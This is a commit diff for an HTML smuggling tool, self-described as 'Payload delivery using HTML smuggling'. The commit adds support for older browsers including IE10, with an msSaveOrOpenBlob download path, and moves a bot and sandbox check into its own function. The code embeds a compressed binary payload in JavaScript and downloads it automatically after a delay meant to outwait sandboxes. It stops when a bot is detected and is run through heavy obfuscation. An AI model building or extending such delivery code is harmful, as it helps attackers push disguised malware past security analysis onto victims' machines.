add: more browsers support

.babelrc.js

@@ -0,0 +1,11 @@
+module.exports = {
+  presets: [
+    [
+      "@babel/preset-env",
+      {
+        useBuiltIns: "usage",
+        corejs: 3,
+      },
+    ],
+  ],
+};

.browserslistrc

@@ -0,0 +1,4 @@
+> 0.5%
+last 2 versions
+not dead
+ie 10

.gitattributes

@@ -0,0 +1 @@
+examples/**/payload.*.js filter=lfs diff=lfs merge=lfs -text

README.md

@@ -19,6 +19,7 @@ The main goal of HTMLSmuggler tool is creating an independent javascript library
 * Delay before loading to avoid sandboxes that are in a hurry.
 * May be used both as an independent JS library or embedded in JS frameworks such as React, Vue.js, etc.
 * The simplicity of the template allows you to add extra data handlers/compressions/obfuscations.
+* Support a lot of browsers (including old IE10).
 
 ## Installation
 

builder.js

@@ -43,7 +43,7 @@ fs.readFile(program.opts().payload, { encoding: "latin1" }, (err, data) => {
   const payload = program.opts().compress
     ? fflate.compressSync(aData, { level: 9, mem: 12 })
     : aData;
-  console.log("Payload size:", payload.length);
+  console.log("Payload size:", payload.length, "b");
 
   fs.writeFile(dst, payload, { flag: "w+" }, (err2) => {
     if (err2) throw err2;

package.json

@@ -1,6 +1,6 @@
 {
   "name": "html-smuggler",
-  "version": "1.1.0",
+  "version": "1.2.0",
   "description": "Payload delivery using HTML smuggling",
   "private": true,
   "repository": {
@@ -14,6 +14,9 @@
     "lint": "eslint . --ext .js --fix --ignore-path .gitignore"
   },
   "devDependencies": {
+    "@babel/core": "^7.23.9",
+    "@babel/preset-env": "^7.23.9",
+    "babel-loader": "^9.1.3",
     "binary-loader": "^0.0.1",
     "commander": "^11.0.0",
     "eslint": "^8.46.0",
@@ -29,6 +32,7 @@
   },
   "dependencies": {
     "@fingerprintjs/botd": "^1.9.0",
+    "core-js": "3",
     "fflate": "^0.8.0"
   }
 }

src/index.js

@@ -1,34 +1,26 @@
-import { load } from "@fingerprintjs/botd";
 import { decompressSync, strToU8 } from "fflate";
 
 import payload from "./assets/payload.bin";
-import { download as down } from "./utils";
+import { download, isBot, sleep } from "./utils";
 
-export async function dontChangeFunctionName() {
+async function main() {
   // sleep before execution
-  await new Promise((r) => {
-    setTimeout(r, CONFIG_DELAY);
-  });
+  await sleep(CONFIG_DELAY);
 
   // antibot
   if (CONFIG_ANTIBOT) {
-    let isBot = false;
-    await load({
-      monitoring: false,
-    })
-      .then((botd) => botd.detect())
-      .then((result) => {
-        // dirty hack to bypass obfuscator renameProperties
-        isBot = Object.values(result).some((val) => val === true);
-      })
-      .catch(() => {});
-    if (isBot) {
+    const ib = await isBot();
+    if (ib) {
+      console.log("Detected bot, exit");
       return;
     }
   }
 
   // data decompressing and downloading
+  console.log("Downloading data. Compressed:", CONFIG_COMPRESS);
   let data = strToU8(payload, true);
   data = CONFIG_COMPRESS ? decompressSync(data) : data;
-  down(data, "dont_change_filename_var", "dont_change_content_type_var");
+  download(data, "dont_change_filename_var", "dont_change_content_type_var");
 }
+
+export { main as dontChangeFunctionName };

src/utils.js

@@ -1,13 +1,46 @@
-export function download(data, filename, type) {
-  const file = new Blob([data], { type });
-  const a = document.createElement("a");
-  const url = URL.createObjectURL(file);
-  a.href = url;
-  a.download = filename;
-  document.body.appendChild(a);
-  a.click();
-  setTimeout(() => {
-    document.body.removeChild(a);
-    window.URL.revokeObjectURL(url);
-  }, 0);
+import { load } from "@fingerprintjs/botd";
+
+function download(data, filename, type) {
+  const blob = new Blob([data], { type });
+  if (window.navigator.msSaveOrOpenBlob) {
+    window.navigator.msSaveOrOpenBlob(blob, filename);
+  } else {
+    const url = URL.createObjectURL(blob);
+    const a = document.createElement("a");
+    a.style = "display: none";
+    a.href = url;
+    a.download = filename;
+    document.body.appendChild(a);
+    a.click();
+    setTimeout(() => {
+      document.body.removeChild(a);
+      window.URL.revokeObjectURL(url);
+    }, 0);
+  }
 }
+
+function sleep(ms) {
+  return new Promise((resolve) => {
+    console.log("Sleeping:", ms, "ms");
+    setTimeout(resolve, ms);
+  });
+}
+
+async function isBot() {
+  let ib = false;
+  await load({
+    monitoring: false,
+  })
+    .then((botd) => botd.detect())
+    .then((result) => {
+      console.log("Antibot result:", result);
+      // dirty hack to bypass obfuscator renameProperties
+      ib = Object.values(result).some((val) => val === true);
+    })
+    .catch((error) => {
+      console.log("Antibot error:", error);
+    });
+  return ib;
+}
+
+export { download, isBot, sleep };

test/test_payload.txt

@@ -0,0 +1,9 @@
+Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse ipsum sapien, pulvinar sed auctor et, ultricies rhoncus mi. Aenean eu lorem vitae massa imperdiet mattis sit amet vel lorem. Fusce eu tortor sem. Fusce dapibus volutpat enim, eget laoreet ex. Nullam nec vehicula mauris. Vestibulum vehicula sapien ut lacus varius varius. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras ultricies dictum sapien, nec tempor est lacinia in.
+
+Morbi sed lobortis est. Donec sodales imperdiet nisl nec lacinia. Donec facilisis, eros ac pellentesque scelerisque, orci ante aliquam felis, vel consequat eros urna tincidunt nulla. Donec consequat tempor nibh vitae egestas. In consectetur nisl et consequat auctor. Phasellus scelerisque lectus in felis bibendum imperdiet. Donec sit amet magna nec nisi malesuada lacinia. Praesent finibus nulla in dui tristique dapibus. Aenean ultricies urna volutpat sem feugiat laoreet. Donec imperdiet tortor at massa ornare finibus. Donec sem odio, convallis ut vehicula interdum, consectetur quis metus.
+
+Integer ut tempus sapien, in porttitor tortor. Etiam eget ligula magna. Sed luctus felis sed magna elementum tincidunt. In eleifend velit at massa iaculis, non tempor lacus iaculis. Ut rutrum tempus nunc, at ullamcorper sapien consequat porttitor. Mauris condimentum tempus consectetur. Donec at tortor nunc.
+
+Morbi condimentum et justo in vestibulum. Donec consectetur nisl quis massa vulputate molestie. Etiam nec ultricies mi. Suspendisse potenti. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Sed suscipit et felis et malesuada. Nullam ut massa eros. Sed non faucibus lectus. Sed laoreet vel diam id tempor. Donec elementum libero non sodales tincidunt. Nullam maximus elit vel gravida consequat. Mauris eget neque lacinia, lacinia ipsum id, consectetur urna. Phasellus varius urna risus, et volutpat velit ultrices vitae. Interdum et malesuada fames ac ante ipsum primis in faucibus. Curabitur quam odio, hendrerit eu ornare vitae, fringilla vitae ligula.
+
+Phasellus sodales consectetur nisl, eget mollis tellus hendrerit vitae. Quisque quis metus risus. In bibendum facilisis augue ac faucibus. Suspendisse ornare, ante a rutrum viverra, nisi tellus tempor elit, eget bibendum nibh elit non urna. Vivamus nisi nulla, lobortis ac faucibus a, commodo vel purus. Curabitur molestie risus eros, at aliquam mi rutrum id. Fusce non est rhoncus, iaculis quam sed, accumsan erat. Vestibulum eros elit, porttitor quis fringilla vel, volutpat nec dui. Sed nec urna aliquam, blandit sem vel, dapibus nulla. Aliquam commodo consectetur libero sed suscipit. Cras semper pellentesque lorem sed dignissim. Vestibulum lectus purus, mollis eu viverra in, placerat quis dui. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. In dolor felis, commodo sit amet felis sit amet, rhoncus pellentesque mauris

webpack.config.js

@@ -24,23 +24,41 @@ module.exports = ({
         // NOTE: Defines string names,
         // used because webpack.DefinePlugin globals obfuscation issues.
         {
-          test: /\.js$/,
-          loader: "string-replace-loader",
-          options: {
-            multiple: [
-              { search: "dont_change_filename_var", replace: filename },
-              { search: "dont_change_content_type_var", replace: filetype },
-              { search: "dontChangeFunctionName", replace: funcname },
-            ],
+          test: /\.m?js$/,
+          exclude: /node_modules/,
+          use: {
+            loader: "string-replace-loader",
+            options: {
+              multiple: [
+                { search: "dont_change_filename_var", replace: filename },
+                { search: "dont_change_content_type_var", replace: filetype },
+                { search: "dontChangeFunctionName", replace: funcname },
+              ],
+            },
           },
         },
+        // NOTE: embed out payload to js
         {
           test: /assets\/.*/,
-          use: "binary-loader",
+          exclude: /node_modules/,
+          use: {
+            loader: "binary-loader",
+          },
         },
+        // NOTE: support for older browsers
+        {
+          test: /\.m?js$/,
+          exclude: /node_modules/,
+          use: {
+            loader: "babel-loader",
+          },
+        },
+        // NOTE: heavy obfuscation
         {
           test: /.*/,
           enforce: "post",
+          // NOTE: excluded core-js because it takes too long to obfuscate
+          exclude: /node_modules\/core-js/,
           use: {
             loader: WebpackObfuscator.loader,
             options: obfuscatorOptions,